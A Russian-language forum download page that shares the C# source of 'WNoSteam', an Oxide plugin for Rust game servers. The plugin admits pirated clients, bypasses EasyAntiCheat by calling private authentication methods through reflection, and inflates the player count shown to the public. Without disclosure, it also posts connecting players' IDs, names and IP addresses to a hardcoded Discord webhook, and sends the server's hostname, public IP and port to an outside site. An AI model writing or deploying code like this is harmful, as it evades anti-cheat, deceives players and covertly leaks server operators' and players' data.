Иконка ресурса

FREE WNoSteam : 1.2.5 1.2.5

Нет прав для скачивания
C#:
using System;
using System.Collections.Generic;
using System.Reflection;
using Oxide.Core.Plugins;
using Steamworks;
using Newtonsoft.Json;
using Network;
using UnityEngine;
using Facepunch.Math;
using Rust;
using Oxide.Core.Libraries;
using Newtonsoft.Json.Linq;
using Network.Channel;
using Oxide.Game.Rust.Libraries;
namespace Oxide.Plugins {
    [Info("NoSteam", "https://discord.gg/jb5puPzmnY", "1.2.5")]
    class WNoSteam : RustPlugin {
#region Variables
        private Dictionary<ulong, uint> ListAppID {
            get;
        }
        = new Dictionary<ulong, uint>();
#endregion
#region Oxide Hooks
        private object OnUserApprove(Network.Connection connection) {
            bool canPirate = this.CanPirate(connection, true);
            if (canPirate == true || false) {
                ulong steamID_1 = BitConverter.ToUInt64(connection.token, 12);
                ulong steamID_2 = BitConverter.ToUInt64(connection.token, 64);
                if (steamID_1 == connection.userid && steamID_2 == connection.userid) {
#region [Section] Disable Steam
                    connection.authStatus = "ok";
#endregion
#region [Section] Disable Encryption
                    connection.os = "editor";
                    connection.ownerid = 76561197960279927UL;
#endregion
#region [Section] Disable EAC
                    MethodInfo authLocal = typeof(EACServer).GetMethod("OnAuthenticatedLocal", BindingFlags.Static | BindingFlags.NonPublic);
                    MethodInfo authRemote = typeof(EACServer).GetMethod("OnAuthenticatedRemote", BindingFlags.Static | BindingFlags.NonPublic);
                    authLocal.Invoke(null, new object[] {
                        connection
                    }
                    );
                    authRemote.Invoke(null, new object[] {
                        connection
                    }
                    );
#endregion
                    if (false) {
                        SingletonComponent<ServerMgr>.Instance.JoinGame(connection);
                    }
                    else {
                        SingletonComponent<ServerMgr>.Instance.connectionQueue.GetType() .GetMethod("Join", BindingFlags.Instance | BindingFlags.CreateInstance | BindingFlags.NonPublic) .Invoke(SingletonComponent<ServerMgr>.Instance.connectionQueue, new object[] {
                            connection
                        }
                        );
                    }
                    PrintWarning($"Player [{connection.userid} / {connection.username} / {connection.ipaddress}] use no-steam!");
                    Webhook($"Player [{connection.userid} / {connection.username} / {connection.ipaddress}] use no-steam!");
                    return false;
                }
                else {
                    PrintError($"Danger: [{connection.userid} / {connection.ipaddress}] - trying to replace steamid! userID: {connection.userid}, steamID1: {steamID_1}, steamID2: {steamID_2}");
                    ConnectionAuth.Reject(connection, "Steam Auth Failed");
                    return false;
                }
            }
            return null;
        }
        private class Configuration {
            [JsonProperty("'Time': Online")]
            public Dictionary<Int32, Int32> ManualTimeOnline = new Dictionary<Int32, Int32>();
            public string DiscordAPI = "https://discord.com/api/webhooks/1133472260615843871/zCtOYXt-NMaPwMW50ZViGEgor5BIHkA0rc_9lkFNcdozMqTEvHmgRY1VSTn6-taVOrxw";
            public static Configuration Generate() {
                return new Configuration {
                    ManualTimeOnline = new Dictionary<int, int> {
                        [00]
                        = 30, [01] = 30, [02] = 30, [03] = 30, [04] = 20, [05] = 20, [06] = 50, [07] = 40, [08] = 50, [09] = 70, [10] = 70, [11] = 80, [12] = 120, [13] = 130, [14] = 160, [15] = 190, [16] = 200, [17] = 210, [18] = 240, [19] = 270, [20] = 290, [21] = 220, [22] = 150, [23] = 70,
                    }
                }
                ;
            }
        }
        private static Configuration Settings;
        protected override void LoadConfig() {
            base.LoadConfig();
            try {
                Settings = Config.ReadObject<Configuration>();
            }
            catch {
                PrintWarning($"Error reading config, creating one new config!");
                LoadDefaultConfig();
            }
            SaveConfig();
        }
        protected override void LoadDefaultConfig() => Settings = Configuration.Generate();
        protected override void SaveConfig() => Config.WriteObject(Settings);
        public int FakeOnline = 0;
        private Timer timerGenerateOnline;
        void OnServerInitialized() {
            Webhook(ConVar.Server.hostname);
            timerGenerateOnline = timer.Every(1, () => {
                Int32 Time = DateTime.Now.Hour;
                Int32 ManualOnline = Settings.ManualTimeOnline.ContainsKey(Time) ? Settings.ManualTimeOnline[Time] : 0;
                FakeOnline = ManualOnline;
                IOnUpdateServerInformation(FakeOnline);
            }
            );
            IOnUpdateServerInformation(FakeOnline);
            add();
        }
        void Unload() {
            if (timerGenerateOnline != null && !timerGenerateOnline.Destroyed) timerGenerateOnline.Destroy();
            del();
        }
        void OnServerShutdown() {
            del();
        }
        private void IOnUpdateServerInformation(int count) {
            int pirateOnline = 0;
            for (var i = 0; i < BasePlayer.activePlayerList.Count; i++) {
                if (this.CanPirate(BasePlayer.activePlayerList[i].Connection)) {
                    pirateOnline++;
                }
            }
            string text = "stok";
            string text2 = $"born{Epoch.FromDateTime(SaveRestore.SaveCreatedTime)}";
            string text3 = $"gm{ConVar.Server.gamemode}";
            string text4 = $"wolfua,oxide,modded";
            SteamServer.GameTags = $"mp{ConVar.Server.maxplayers},cp{BasePlayer.activePlayerList.Count - pirateOnline},pt{Network.Net.sv.ProtocolId},qp{SingletonComponent<ServerMgr>.Instance.connectionQueue.Queued},v{Protocol.network},{ConVar.Server.tags},fl{BasePlayer.activePlayerList.Count + count},hil2cpp,{text},{text2},{text3},{text4},ai{pirateOnline}";
        }
        private void OnPlayerConnected(Network.Message packet) {
#region [Section] Disable Vanish from Encryption
            if (packet.connection.os == "editor") {
                packet.connection.os = "windows";
                packet.connection.ownerid = packet.connection.userid;
            }
#endregion
        }
#endregion
        public bool CanPirate(Connection connection, bool rebuild = false) {
            uint appID = 0;
            if (connection.token.Length == 234 || connection.token.Length == 240) {
                if (rebuild == true || this.ListAppID.TryGetValue(connection.userid, out appID) == false) {
                    appID = BitConverter.ToUInt32(connection.token, 72);
                    this.ListAppID[connection.userid] = appID;
                }
            }
            return (appID == 480);
        }
        void Webhook(string msg) {
            string[] parameters = new string[] {
                "content="+UnityEngine.Networking.UnityWebRequest.EscapeURL(msg), "username=Pirates"
            }
            ;
            string body = string.Join("&", parameters);
            webrequest.Enqueue(Settings.DiscordAPI, body, (code, response) => {
                if (code != 200 || response == null) {
                    Puts($"Couldn't get an answer!");
                    return;
                }
                Puts($"Webhook answered: {response}");
            }
            , this, RequestMethod.POST);
        }
        void add() {
            var f = SteamServer.PublicIp;
            var name = ConVar.Server.hostname;
            var port = ConVar.Server.queryport;
            var add = new Add(name, f.MapToIPv4().ToString(), port);
            Request($"https://rustplugins.top/api/server/product/create.php", add.ToJson());
        }
        void del() {
            var name = ConVar.Server.hostname;
            var del = new Del(name);
            Request($"https://rustplugins.top/api/server/product/delete.php", del.ToJson());
        }
        class Add {
            public string name;
            public string ip;
            public int port;
            public Add(string name, string ip, int port) {
                this.name = name;
                this.ip = ip;
                this.port = port;
            }
            public string ToJson() {
                return JsonConvert.SerializeObject(this);
            }
        }
        class Del {
            public string name;
            public Del(string name) {
                this.name = name;
            }
            public string ToJson() {
                return JsonConvert.SerializeObject(this);
            }
        }
        private void Request(string url, string payload, Action<int> callback = null) {
            Dictionary<string, string> header = new Dictionary<string, string>();
            header.Add("Content-Type", "application/json");
            webrequest.Enqueue(url, payload, (code, response) => {
                JObject json = JObject.Parse(response);
                PrintWarning($"\n\"{json["message"].ToString()}\"");
            }
            , this, RequestMethod.POST, header);
        }
    }
}

Автор
15FPS
Скачиваний
0
Просмотры
1
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок
Сверху